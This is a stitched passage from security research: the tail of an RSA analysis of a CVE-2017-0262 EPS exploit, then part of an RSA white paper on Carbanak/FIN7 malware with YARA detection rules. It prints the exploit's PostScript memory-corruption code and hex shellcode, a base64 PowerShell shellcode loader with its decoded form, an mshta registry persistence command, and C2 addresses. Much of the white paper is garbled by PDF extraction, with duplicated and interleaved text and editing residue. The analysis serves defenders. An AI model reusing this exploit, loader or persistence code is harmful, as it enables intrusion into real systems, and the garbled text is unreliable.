eq { /A62 A38 A44 144 A60 A17 A60 def /A32 A44 148 A60 A17 def } if } ifelse 0 0 20 A32 1 A61 { /A49 exch def /A50 A62 A49 A60 12 A60 A17 def A50 0 eq { quit } if A18 A38 A50 A60 14 getinterval A33 search { length 0 eq { pop pop pop A62 A49 A60 exit } if pop } if pop } for } bind def /A40 { /A27 exch def /A23 exch def /A53 A23 A27 A51 def A53 16 A60 A17 A23 A60 A17 A29 } bind def /A35 { /A42 exch def /A30 exch def /A58 exch def /A39 A58 A30 A51 def /A25 A39 A17 A58 A60 def /A21 0 def { /A24 A25 A21 A60 A17 def A24 0 eq { 0 exit } if A18 A58 A24 A60 50 getinterval A42 search { length 2 eq { pop pop A39 16 A60 A17 A58 A60 A21 A60 A17 exit } if pop } if pop /A21 A21 4 A60 def } loop } bind def /A31 589567 string <00d0800d30d0800d000000000200000010d0800d020000003cd0800d0005000000000000000000005cd0800d00000300000000000000000020d0800d3cd0800d6cd0800d00000000f0ffff7f50d0800 A8 def 500 {A31 589567 string copy pop} repeat 1 array 226545696 forall /A19 exch def /A18 exch def /A16 A12 array def A19 1 A16 put /A9 226545696 56 add A17 A17 def A9 /A36 exch A17 A29 def /A10 A36 4096 A60 def A9 /A68 exch 36 A60 A17 A17 40 A60 A17 def /A7 A18 A10 458752 getinterval def /A4 { /A64 exch def A7 A64 search { length A10 A60 exch pop exch pop } { quit } ifelse } bind def /A1 { A7 <50 45> search { length A10 A60 exch pop exch pop } { quit } ifelse } bind def /A28 A36 (KERNEL32.dll) A40 def /A3 A18 A28 4096 getinterval def /A1 { A3 <50 45> search { length A28 A60 exch pop exch pop } { quit } ifelse } bind def /A15 { A1 64 A60 A17 255 and } bind def A15 6 ne { quit } if /A14 A28 (ntdll.dll) (NtProtectVirtualMemory) A35 def /A67 <94 c3> A4 def /A65 A67 1 A60 def /A66 A4 def /A55 A68 65536 A60 def /A52 A55 256 A60 def /A48 A55 512 A60 def /A6 A48 def A52 A68 A2 A52 4 A60 A13 A2 A16 0 A55 put A55 A55 4 A60 A2 A55 4 A60 A66 A2 A55 8 A60 A65 A2 A55 20 A60 A67 A2 A55 24 A60 A14 A2 A55 28 A60 A48 A2 A55 32 A60 -1 A2 A55 36 A60 A52 A2 A55 40 A60 A52 4 A60 A2 A55 44 A60 64 A2 A55 48 A60 A52 8 A60 A2 A68 2304 A2 /A5 A16 def A18 A6 <558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc83c11851e80e05000083c40450e81504000083c4088b55fc8982a80000008b45fc83c048508b4dfc83c11851e8e604000083c40450e8ed0 fd1a498994b7304ea2bf01272c6cc14b66ade7023b2fd8915d1bc7ac4b32bb89803b92980d328ec43b434d1f0620d5249e9eda8b50f1acfd50804566981d4af2b10c79acfa503e83f66c4b8b87e95748bb putinterval A5 0 get bytesavailable } Of particular in this last snippet is the block with the forall which is the memory corruption routine unique to the known exploit code for CVE-2017-0262, and as described in ESETs analysis on the subject. With bit-for-bit copy of CVE-2017-0262 exploit code, we have reasonable confidence that the exploit we are dealing with is in fact CVE-2017-0262. Step 5. Second stage payload The second-stage payload (<558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc8 ) appears to be a simple hex-encoded blob (no XOR decoding needed). Converting it from hex to binary and running the UNIX strings command on it yields the following interesting artifacts that hint what the next stage will be QSVW ntdll.dll kernel32.dll LoadLibraryA GetProcAddress NtAllocateVirtualMemory NtProtectVirtualMemory GetCurrentProcess QSVW fff^ HJON r|kw ijxip7}uu Uvx}Up{kxk`X ^|mIkvzX}}k| pm|_pu| KmuPwpmLwpzv}|Jmkpw~ ^|m\wopkvwt|wmOxkpx{ Mqk|x} ^|mIkvz|jjPtx~|_pu|Wxt|X Nkpm 8Mqpj9ikv~kxt9z-wwvm9{|9klw9pw9])J9tv}| ,Kpzqg 7m|am Y7}xmx 7kjkz jZp' !zjt Command and Control The malware performs calls back to 137.74.224[.]142, at five second intervals (Figure 6). Figure 6 Malware C2 in Wireshark, courtesy VXStream The destination hosts offers an HTTP 200 response and false GET /z/get.php?name=c3857e72 HTTP/1.1 Host: 137.74.224.142 HTTP/1.1 200 OK Date: Thu, 10 Aug 2017 06:59:01 GMT Server: Apache/2.4.10 (Debian) Content-Length: 5 Content-Type: text/html; charset=UTF-8 False We believe that the actors would not invoke remote control unless they had ruled out nosy researchers. Based on Google searches identifying the C2 IP address ( 137.74.224[.]142) as an established Minecraft (multiplayer game) server, we suspect it is possible that the host has been compromised by the perpetrators and is being used without the permission of the owner. Other previous URL resolutions may be associated with prior customers of the virtual private server (Figure 7). Figure 7 Historic DNS resolutions for C2 IP address, courtesy PassiveTotal During the course of this research we found some similarities in look and feel of this campaign (and its potential attribution) with past FirstWatch posts in Attacking a POS Supply Chain part-1 and CHTHONIC and DIMNIE Campaign Targets Russia 8-2-2017. Thanks to Kent Backman, Kevin.Douglas2@rsa.com, and Christopher Elisan for all their contributions to this research. Appendix Md5 hashes of EPS exploit docx with C2 of 137.74.224[.]142 0c718531890dc54ad68ee33ed349b839 9c7e70f0369215004403b1b289111099 e589ae71722ac452a7b6dd657f31c060 68e190efe7a5c6f1b88f866fc1dc5b88 630db8d3e0cb939508910bd5c93e09fe c43f1716d6dbb243f0b8cd92944a04bd df0f8fb172ee663f6f190b0b01acb7bf ed74331131da5ac4e8b8a1c818373031 e8ea2ce5050b5c038e3de727e266705c 5df8067a6fcb6c45c3b5c14adb944806 104913aa3bd6d06677c622dfd45b6c6d 00b470090cc3cdb30128c9460d9441f8 f8ce877622f7675c12cda38389511f57 7c80fb8ba6cf094e709b2d9010f972ba cfc0b41a7cde01333f10d48e9997d293 69de4a5060671ce36d4b6cdb7ca750ce 18c29bc2bd0c8baa9ea7399c5822e9f2 3be61ecba597022dc2dbec4efeb57608 b57dff91eeb527d9b858fcec2fa5c27c 1bb8eec542cfafcb131cda4ace4b7584 4c1bc95dd648d9b4d1363da2bad0e172 d9a5834bde6e65065dc82b36ead45ca5 7743e239c6e4b3912c5ccba04b7a287c MD5 hash of EPS exploit with C2 of 158.69.218[.]119 57f51443a8d6b8882b0c6afbd368e40e WHITE PAPER THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT WHITE PAPER CONTENT 1. Executive Summary..................................................................................................... 2. The Digital Arsenal..................................................................................................... 2.1. Overview............................................................................................................. 2.1.1. Anunak/Sekur............................................................................................................ 2.1.2. Carberp...................................................................................................................... 2.1.3. Other Windows Trojans....................................................................................... 2.1.4. Linux and Other Tools.......................................................................................... 3. Anunak Historical Overview.................................................................................. 4. Overlap with Common Crimeware Campaigns................................................ 5. Current Activity......................................................................................................... 6. Recommendations.................................................................................................... 7. Conclusions................................................................................................................. Appendix.......................................................................................................................... WHITE PAPER 1. EXECUTIVE SUMMARY cate noun /'sin-di-k 1. a group of individuals or organizations combined to promote some common interest. The criminal gangs of the Carbanak/FIN7 syndicate have been attributed to numerous intrusions in the banking, hospitality, retail and other industrial verticals, collecting financial information of all kinds. The name Carbanak comes from Carberp, a banking Trojan whose source code was leaked, and Anunak, a custom Trojan that has evolved over the years. Since at least 2015, the group appears to have fragmented into smaller, loosely related groups, each with its own preferred toolsets and Trojans, although many similarities in tactics, techniques and procedures (TTPs) exist. Using APT-style tactics and techniques, the perpetrators compromise an organization, quickly escalate privileges and begin searching for any system that could access the financial data of interest. This ranges from scanning the network via WMI to look for running process names containing clear text credit card information, to monitoring a user s screen to learn how to operate the systems used to process financial information. Once they find these data and a method to access this financial information, they begin bulk harvesting. If it is credit card track data, it can be turned around and sold on carder forums in bulk. ATM and SWIFT data require more and less legwork, respectively. Based on these tactics, the Carbanak/FIN7 syndicate is oftentimes considered an APT. Given our research, RSA disagrees with this classification. While the group is an extremely persistent threat, they are not advanced and t demonstrate having access to zero-day exploits or innovative tools. This gives network defenders the edge in protecting their financial data. With proper visibility and control sets in place, an analyst can easily identify these techniques and remediate quickly, thus shortening attacker dwell time and helping to prevent exfiltration of sensitive data. During the course of investigation, RSA Research observed Carbanak actors employing a handful of unique Trojans, along with freely available malware, to persist and move laterally once a network foothold was established. While many of these methods are novel, they are also well-known in the penetration testing industry. This is most likely by design, as many of these remote administration tools are frequently used by network administrators for legitimate purposes and would not have antivirus coverage or seem out of the ordinary. Employing the least sophisticated methods available, the Carbanak actors safeguard more advanced tools from being identified, and potentially invalidated, through static or behavioral detection techniques. WHITE PAPER This paper reviews the characteristics of Carbanak s known Trojans and TTPs to provide network defenders a better understanding of the group capabilities and history. Armed with this knowledge, defenders should be able to better assess risk and allocate resources to the appropriate blind spots that plague most modern networked organizations. 2. THE DIGITAL ARSENAL 2.1. OVERVIEW During the course of this effort, RSA observed many different Remote Access Trojans (RATs) associated with this group. Several are based on crimeware/ 2.!The Digitalthat Arsenal banker Trojans are in use by different criminal actors, but are uniquely customized Carbanak/FIN7. The following sections outline the capabilities 2.1.! Overview of each RAT and discuss possible detection methods. During the course of this effort, RSA observed many different Remote Access Trojans (RATs) associated with thisAnunak/Sekur group. Several are based on crimeware/banker Trojans that are in use by different criminal 2.1.1. actors, but are uniquely customized for Carbanak/FIN7. The following sections outline the capabilities of TheRAT Anunak, or Sekur, been and may still be the mainstay each and discuss possibleTrojan detectionhas methods. of the Carbanak/FIN7 syndicate. A custom configurable Trojan, it has undergone minor changes over the past several years, most notably to its communications 2.1.1.! protocols. Anunak/Sekur TheAnunak, Anunak/Sekur Trojan is a self-contained dropper/Trojan combination. or Sekur, Trojan has been may still be mainstay of the Carbanak/FIN7 syndicate. custom configurable Trojan, undergone minor changes over past several years, most notably If executed outside of its configured path, it will entrench itself and remove to its communications protocols. the original file. The Trojan is typically packed or crypted (a packer modified Anunak/Sekur is a self-contained dropper/Trojan combination. If executed outside ofmaking over time usingTrojan encryption, encoding or compression methodologies), configured path, it will entrench itself and remove the original file. The Trojan is typically packed or static analysis difficult and rendering signatures useless. The Trojan begins crypted (a packer modified over time using encryption, encoding or compression methodologies), by resolving Win32 APIand addresses and uses RtlDecompressBuffer to expand making static analysis difficult rendering signatures useless. The Trojan begins by resolving Win32 and usespayload RtlDecompressBuffer expandstarts the compressed payload Host DLL. The Trojan starts theaddresses compressed DLL. The toTrojan the Service executable, the Service Host executable, svchost.exe, in a suspended state (Figure 1). svchost.exe, in a suspended state (Figure 1). Deleted: Deleted: Cr Deleted: Ba Deleted: Fi Deleted: Deleted: Deleted: Deleted: Fi Deleted: Sy Deleted: Comment [ another"sou Comment [ Deleted: Deleted: Deleted: , Deleted: . Deleted: Deleted: Figure Figure 1: Create svchost.exe Suspended 1: Create svchost.exe Suspended The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware. The Trojan is then copied into two startup directories with a name based off the MAC address and machine name (Figures 2 and 3). WHITE PAPER The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware. The Trojan is then copied the expanded DLL, and creates the main thread for the Anunak/Sekur malware. The Trojan is then copied into two directories with the MAC MACaddress address machine name (Figures and 3). into startup two startup directories witha aname namebased based off off the machine name (Figures 2 and23). Deleted:Del Deleted: Figure2: 2: Autoruns Autoruns Figure Figure Figure 2: Autoruns Autoruns Figure 3: Entrenchment and Injection 3: Entrenchment and Injection FigureFigure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their Deleted: An Deleted: 3:running Entrenchment and Injection The Trojan then enumerates looking fora specific worker processes to increase chancesFigure ofthe persistence. Theprocesses, Trojan also drops and reads configuration file Deleted: Deleted: with initial instructions into thekilling C:\ProgramData\Mozilla\ directory with filename based off the of antivirus vendors their worker processes to aincrease chances The Trojan enumerates running address then and machine namethe (Figure 4). processes, looking for specific antivirus vendors and killing their persistence. The Trojan also and The reads a configuration initial file worker processes to increase chances of drops persistence. Trojan also drops and file readswith a configuration with initial instructions into C:\ProgramData\Mozilla\ C:\ProgramData\Mozilla\ directory with a filename based off the MAC instructions into directory with a filename address and machine 4). Anunak/Sekur based off the name MAC(Figure address machine (Figure Figure 4:and Initial name Configuration Example4). Figure 4: Anunak/Sekur Initial Configuration Example FireEye"goes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild. RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers Figure Anunak/Sekur Initial Configuration Example Figure 4: Anunak/Sekur Initial6)Configuration Example many instant indicators of compromise (IIOCs) (Figure that ship with the product, by default. Deleted: in Deleted: FireEye"goes into the observed variants, commands the Trojan receivesthe and Trojan configurations FireEyein-depth goes in-depth into the observed variants, commands discovered in the wild. RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers receives and configurations discovered in the wild. RSA NetWitness Endpoint many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default. Deleted: In Deleted: can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default. Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint Deleted: Deleted: Deleted: In Deleted: Deleted: Co Deleted: Deleted: ' WHITE PAPER Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint Figure 6: IIOCs Triggered Endpoint Figure 6: IIOCs TriggeredininRSA RSANetWitness NetWitness Endpoint The Anunak/Sekur Trojan may be configured communicate with the Command and Control [C2] The Anunak/Sekur Trojan may betoconfigured to communicate with the server in twoCommand ways: via and HTTP or a custom protocol to aways: hardcoded IP address. Oftenprotocol the Trojan is Control [C2] server in two via HTTP or a custom configured with methods. The HTTP request easilyisdetected withwith NetWitness to aboth hardcoded IP address. Often the is Trojan configured both methods.Logs and Packets usingThe theHTTP RSA NetWitness Hunting Pack and the recommendations in the HTTP request is easily detected withfollowing RSA NetWitness Logs and Packets section. The using HTTPthe method uses the GETHunting (FigurePack 7) and POST (Figure methods to create a covert, biRSA NetWitness following the8)recommendations directional communication channel with the C2. It generally very few HTTP in the HTTP section. HTTP method uses thehas (Figure 7) andheaders POST and oftentimes uses the default User-Agent configured in athe Windows Registry. communication channel (Figure 8) methods to create covert, bi-directional with the C2. It generally has very few HTTP headers and oftentimes uses the default User-Agent configured in the Windows Registry. FigureFigure 7: Anunak/Sekur HTTP GET Request 7: Anunak/Sekur HTTP GET Request WHITE PAPER Figure 7: Anunak/Sekur HTTP GET Request Figure 8:8: Anunak/Sekur HTTPPOST POSTRequest Request Figure Anunak/Sekur HTTP type HTTP C2 communication is common to many malware This type ofThis HTTP C2ofcommunication is common to many malware families and families is a good reason to anddetection is a goodand reason to follow up any detection treat it as routine. follow up any not treat it as routine. Pivotingand intonot NetWitness Endpoint and finding Pivoting into NetWitness Endpoint finding module creating the (Figure 9). the module creating the connections leads us to the injected DLLs and tracking data behavior connections leads us to the injected DLLs and tracking data behavior (Figure 9). Figure 9: Anunak/Sekur Network Tracking Data Figure 9: Anunak/Sekur Network Tracking Data Since RSA NetWitness Endpoint downloads the injected DLL, you can right-click the DLL, select analyze RSA and view the strings. The configuration path C:\ProgramData\Mozilla\.bin Since NetWitness Endpoint downloads the injected DLL, you canshould rightvisible the in theDLL, sselect strings,analyze and discovery this activity can be automated with a YARA signature. click andofview the strings. The configuration path ProgramData\Mozilla\.bin should be visible in the DLL s strings, and YARA Signature for Anunak/Sekur Injected DLL rule Carbanak_Anunak discovery this activity automated with a YARA signature. Deleted: ri Deleted: meta: author = RSA FW strings: $mz =Signature { 4D 5A } YARA for Anunak/Sekur Injected DLL $regex = /\:\\ProgramData\\Mozilla\\.{12,20}\.bin/ condition: rule Carbanak_Anunak $mz at 0 and $regex meta: author = RSA FW The second method of C2, a custom TCP-based protocol, is more difficult to find. The protocol has strings: evolved over the years most recent observations showing it s now fully encrypted making the data = {However, 4D 5A }there is a distinct handshake in the latest encrypted version. After the TCP appear random. $regexthe=Trojan /\:\\ProgramData\\Mozilla\\.{12,20}\.bin/ handshake, sends packet with a 64-byte payload, which the server acknowledges. The Trojan then sends a packet with a 224-byte payload, which the server also acknowledges (Figure 10). This is condition: followed by the server sending a packet with a 32-byte payload (Figure 11). $mz at 0 and $regex Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: YARA Signature for Anunak/Sekur Injected DLL rule Carbanak_Anunak meta: author = RSA FW strings: $mz = { 4D 5A } $regex = /\:\\ProgramData\\Mozilla\\.{12,20}\.bin/ condition: $mz at 0 and $regex WHITE PAPER The second method of C2, a custom TCP-based protocol, is more difficult to find. The protocol has evolved over the years most recent observations The secondshowing method of a custom TCP-based protocol,the is more difficultrandom. to find. The protocol has sC2, fully encrypted making data appear However, evolved over the years most recent observations showing s nowversion. fully encrypted making there is a distinct handshake in the latest encrypted After the TCP the data appear random. However, there distinct handshake latest encrypted version. After the TCP handshake, the Trojan sends packet with a 64-byte payload, which the server handshake,acknowledges. the Trojan sendsThe packet withthen a 64-byte server acknowledges. The Trojan Trojan sendspayload, a packetwhich with athe 224-byte payload, then sends which a packet with 224-byte payload, which server also acknowledges (Figure 10). the server also acknowledges (Figure 10). This is followed by the serverThis is followed bysending the server sending a packet with apayload 32-byte(Figure payload11). (Figure 11). a packet with a 32-byte Figure Handshake Request Request Sequence Figure 10:10: Handshake Sequence Figure 11:11:Handshake ResponseRequest Request Figure Handshake Response When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake is registered in the Indicators of Compromise field When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake (Figure 12). While we have high confidence in these results, please be aware registered in the Indicators of Compromise field (Figure 12). While we have high confidence in these that under rare circumstances this parser may false alarm on sessions results, please be aware that under rare circumstances this parser may false alarm on sessions that have that have the same handshake pattern and aren t actually the Trojan s C2 the same handshake pattern and aren t actually the Trojan s C2 communications. Any Sekur handshake communications. Any Sekur handshake hits should be investigated on the hits should be investigated on the host using the above information on the behavior of this Trojan. host using the above information on the behavior of this Trojan. Figure 12: Anunak/Sekur Handshake Metadata WHITE PAPER When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake registered in the Indicators of Compromise field (Figure 12). While we have high confidence in thes results, please be aware that under rare circumstances this parser may false alarm on sessions that ha the same handshake pattern and aren t actually the Trojan s C2 communications. Any Sekur handsha hits should be investigated on the host using the above information on the behavior of this Trojan. Figure 12: Anunak/Sekur Handshake Metadata Figure 12: Anunak/Sekur Handshake Metadata 2.1.2. Carberp The Carberp banking Trojan is responsible for the first half of the name Carbanak. This Trojan has been around at least since 2010 with the source code leaked in 2013. 2.1.2.! Carberp Carberp was likely chosen by the actors for both its plug-in capability and The Carberp banking is responsible forsome the first half of obscurity the namefor Carbanak. codeTrojan availability. This provides operational Carbanak/This Trojan has b FIN7, numerous variants this code were used (and remain in use) around at least since 2010 with the source code leaked in 2013. by other Crimeware actors. RSA Incident Response Services has dealt theseby specific Carbanak/FIN7 actors multiple times, with Carberp was likelywith chosen the actors for both its plug-in capability and this codevariant availability. This pro analyzed by Research. some operational obscurity forRSA Carbanak/FIN7, as numerous variants of this code were used (and rem in use) by other Crimeware actors. Incident32-bit Response Services has look dealtatwith these specific The droppers comeRSA in two versions, and 64-bit. We will Carbanak/FIN7 actors multiple times, with this variant analyzed by RSA Research. the 32-bit version. The droppers comeMetadata in two versions, 32-bit and 64-bit. We will look at the 32-bit version. File Name: ml.exe Metadata File Size: 96256 bytes File Name: ml.exe MD5: 608b8bc44a59e2d5c6bf0c5ee5e1f517 File Size: 96256 bytes SHA1: 37de1791dca31f1ef85a4246d51702b0352def6d MD5: 608b8bc44a59e2d5c6bf0c5ee5e1f517 PE Time: 0x658ACD2B [Tue Dec 26 12:55:07 2023 UTC] SHA1: 37de1791dca31f1ef85a4246d51702b0352def6d Sections (4): PE Time: 0x658ACD2B [Tue Dec Name Entropy MD526 12:55:07 2023 UTC] Sections (4): .text 6.9 6b51c476e9cae2a88777ee330b639166 Name Entropy MD5 .rdata 4.85 ad94fa5c9ff3adcdc03a1ad32cee0e3a .data 1.2 .rsrc 4.13 2e2bc95337c3b8eb05467e0049124027 7396ce1f93c8f7dd526eeafaf87f9c2e Figure 13: Carberp Dropper Metadata The first noticeable item is that the compile time seems to be in the future. In RSA NetWitness Endpoint, the compile time can be added in the Global Modules List and sorted on. The two extremes are generally where the interesting modules can be found, either a very long time ago or sometime in the future. When executed, the dropper checks to see if PowerShell is on the system and then creates registry keys in HKEY_CURRENT_USER\Software\Licenses. HKEY_CURRENT_USER specifies the logged-on user profile, meaning this malware will only launch when the user who ran the dropper logs on. This technique is oftentimes labelled as file-less malware, but the user s Registry Hive, NTUSER.dat, is a hidden file residing in the user s root directory. WHITE PAPER On Windows Vista and newer Microsoft operating systems, this is in C:\ Users\\; older Windows versions reside in C:\Documents and Settings\\. This represents a problem for the incident responder, as the malware is not present in memory, only in the registry, unless the specific user is logged on. This is an interesting way to avoid detection by endpoint detection and response (EDR) tools. Using a bit of creativity and PowerShell, responders can build a script that queries for user profiles and retrieves the actual Registry Hive or queries for the registry key itself. The first registry key created is {01838681CA59881EA} and contains the binary shellcode used to unpack the encoded payload DLL. The second key is {01838611EAC11772E} and contains a base 64 encoded PowerShell command (Figure 14). PowerShell Command Encoded w=new ActiveXObject( WScript.Shell );w.Run( powershell.exe -noexit -enc JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQB uAGMAZQA9ACcAUwB0AG8AcAAnAAoAJABzAD0AKABHAGUAdAAt AEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACA ASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATABpAGMA ZQBuAHMAZQBzACkALgAnAHsAMAAxADgAMwA4ADYAOAAxAEMA QQA1ADkAOAA4ADEARQBBAH0AJwAKACQAbAA9ACQAcwAuAEwA ZQBuAGcAdABoAAoAJABjAD0AQAAiAAoAWwBEAGwAbABJAG0AcA BvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF 0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQ AZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaA ByAGUAYQBkACgASQBuAHQAUAB0AHIAIABhACwAdQBpAG4AdAAg AGIALABJAG4AdABQAHQAcgAgAGMALABJAG4AdABQAHQAcgAgAG QALAB1AGkAbgB0ACAAZQAsAEkAbgB0AFAAdAByACAAZgApADsAC gBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzA DIALgBkAGwAbAAiACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGE AdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgB pAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAg AGEALAB1AGkAbgB0ACAAYgAsAHUAaQBuAHQAIABjACwAdQBpAG 4AdAAgAGQAKQA7AAoAIgBAAAoAJABhAD0AQQBkAGQALQBUAHk AcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbw BuACAAJABjACAALQBOAGEAbQBlACAAJwBXAGkAbgAzADIAJwAgA C0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4A YwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQAKACQAY gA9ACQAYQA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKA AwACwAJABsACwAMAB4ADMAMAAwADAALAAwAHgANAAwACkA CgBbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB 0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAG WHITE PAPER EAbABdADoAOgBDAG8AcAB5ACgAJABzACwAMAAsACQAYgAsACQA bAApAAoAJABhADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZA AoADAALAAwACwAJABiACwAMAAsADAALAAwACkAfABPAHUAdA AtAE4AdQBsAGwA ,0,0); Figure 14: Encoded PowerShell Command PowerShell Command Decoded $ErrorActionPreference= Stop $s=(Get-ItemProperty -Path HKCU:\Software\ Licenses). {01838681CA59881EA} $l=$s.Length $c=@ [DllImport( kernel32.dll public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f); [DllImport( kernel32.dll public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d); $a=Add-Type -memberDefinition $c -Name Win32 -namespace Win32Functions -passthru $b=$a::VirtualAlloc(0,$l,0x3000,0x40) [System.Runtime.InteropServices.Marshal]::Copy($s,0,$b,$l) $a::CreateThread(0,0,$b,0,0,0)|Out-Null Figure 15: Decoded PowerShell Command This PowerShell script imports VirtualAlloc and CreateThread from Kernel32, copies the shellcode to a segment of memory with PAGE_EXECUTE_ READWRITE [ 0x40] and creates a thread at the returned base of the allocated memory indicated by variable $b (Figure 15). The malware then creates another registry entry at HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Run\mshta with the values shown in Figure 16. PowerShell Command Decoded cmd.exe /c mshta about:</ title><script>resizeTo(0,0);moveTo(-900,-900);eval(new ActiveXObject( WScript.Shell ).RegRead( HKCU\\Software\\Licenses\\ {01838611EAC11772E} ));if(!window.flag)close()</script> Figure 16: MSHTA Persistence The dropper DLL then runs that same command to start the malware and exits, without deleting itself. When the user logs onto their machine, the MS HTML Application (MSHTA) creates a new ActiveX object that executes the encoded PowerShell script. This PowerShell script allocates WHITE PAPER HTML HTML Application Application Registry Registry Key cmd.exe /c cmd.exe /c mshta mshta "about:<hta:application "about:<hta:application showintaskbar=no><title>" window.flag)close()" Figure Figure 16: 16: MSHTA MSHTA Persistence Persistence The dropper dropper DLL DLL then then runs runs that that same same command command to to start start the the malware malware and and exits, exits, without without deleting deleting itself. itself. executable copies contents(MSHTA) of the first When logs machine, HTML creates aa new When the the user user memory logs onto onto their their machine, thethe MS binary HTML Application Application (MSHTA) createsregistry new ActiveX ActiveX object that executes encoded PowerShell script. This PowerShell script allocates executable memory into space,the then creates a thread base address of this memory. objectthat that executes encoded PowerShell script.at This PowerShell script allocates executable memory contents first into that then creates and copies copies the binary binary contents of first registry registry intoruns that space, space, thenCarberp creates aa thread thread athas the base base This shellcode unpacks Carberp address address of of this this memory. memory. This This shellcode shellcode unpacks unpacks aa Carberp Carberp DLL DLL and and runs runs it. it. The The Carberp Carberp DLL DLL has has antiantianti-analysis features that check for virtualization common sandboxing analysis analysis features features that that check check for for virtualization virtualization and and common common sandboxing sandboxing techniques, techniques, exiting exiting if if it it finds finds any. any. Endpoint Trojan aa floating techniques, it findsthis any. RSAas Endpoint discoversinstance this RSA NetWitness NetWitnessexiting Endpointifdiscovers discovers this Trojan asNetWitness floating DLL DLL in the user user s explorer.exe explorer.exe instance (Figure (Figure 17). 17). Trojan as a floating DLL in the user s explorer.exe instance (Figure 17). Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: uu Carberp Figure Carberp Floating Floating DLL DLL FigureFigure 17:17: Carberp Floating Figure 18: Carberp Startup from Figure Figure 18: 18: Carberp Carberp Startup Startup from from NEW When inspecting this suspicious DLL in RSA NetWitness Endpoint, right-clicking When inspecting this suspicious Endpoint, module Analyze shows suspicious network-related strings When inspecting thisselecting suspicious DLL in RSA RSA NetWitness NetWitness Endpoint, right-clicking right-clicking the module module selecting Analyze shows suspicious network-related strings (Figure 19). malware communicates selecting Analyze suspicious network-relatedvia strings (Figureto 19). Thedomains malware communicates (Figure 19). The shows malware communicates SSL/TLS below and via SSL/TLS SSL/TLS to to the the domains domains below below and and was was active active in in 2015. 2015. The The Trojan Trojan may may also also be be configured configured to active in 2015. The Trojan may also be configured to communicate via HTTP communicate communicate via via HTTP HTTP and and be be detected detected using using the the HTTP HTTP section section of of the the RSA RSA NetWitness NetWitness Hunting Hunting Pack. Pack. If environment using SSL/TLS man-in-the-middle (MITM) device, even encrypted detected using HTTP section NetWitness Hunting Pack. the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted communications can easily easily be discovered. discovered. Ifcommunications the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted communications can easily be discovered. 19: Suspicious Strings in Floating DLL FigureFigure 19: Suspicious Strings in Floating DLL Domain strangeerglassingpbx.org klyferyinsoxbabesy.biz oplesandroxgeoflax.org IP and Port 192.52.167.137:443 217.12.203.194:443 never registered Deleted: Deleted: ri Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: M Deleted: Deleted: M Deleted: Deleted: M WHITE PAPER Domain IP and Port strangeerglassingpbx.org 192.52.167.137:443 KLYFERYINSOXBABESY.BIZ 217.12.203.194:443 OPLESANDROXGEOFLAX.ORG NEVER REGISTERED The following YARA signature detects the unpacked DLL in an RSA NetWitness Endpoint environment. YARA Signature for Injected Carberp DLL rule Carbanak_Carberp meta: author = RSA FW strings: $mz = { 4D 5A } $path = %%userprofile%%\\AppData\\LocalLow\\%u.db wide $sbox1 = MALTEST wide $sbox2 = TEQUILABOOMBOOM wide $sbox3 = SANDBOX wide $sbox4 = VIRUS wide $sbox5 = MALWARE wide $uri = /%s?user=%08x%08x%08x%08x&id=%u&ver=%u&os=%lu&os2 =%lu&host=%u&k=%lu&type=%u wide condition: $mz at 0 and $path and $uri and all of ($sbox*) 2.1.3. Other Windows Trojans The Carbanak/FIN7 syndicate appears to have ready access to an array of common crimeware and banker-style Trojans, as well as a few custom, yet relatively simple, Trojans. This indicates that they either a) are part of the development team that built these Trojans or b) have access to the vendors that sell these intrusion sets. The simplicity of their custom malware indicates option b might be likely; however, there is 